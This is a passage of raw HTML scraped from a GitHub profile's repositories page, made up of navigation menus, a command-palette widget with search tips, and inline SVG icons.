/integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"chikitang","originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{"category":"Header","action":"sign out","label":"icon:logout"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/ <span class="text-semibold color-fg-default">...</span> / </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal"> / </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 0 010 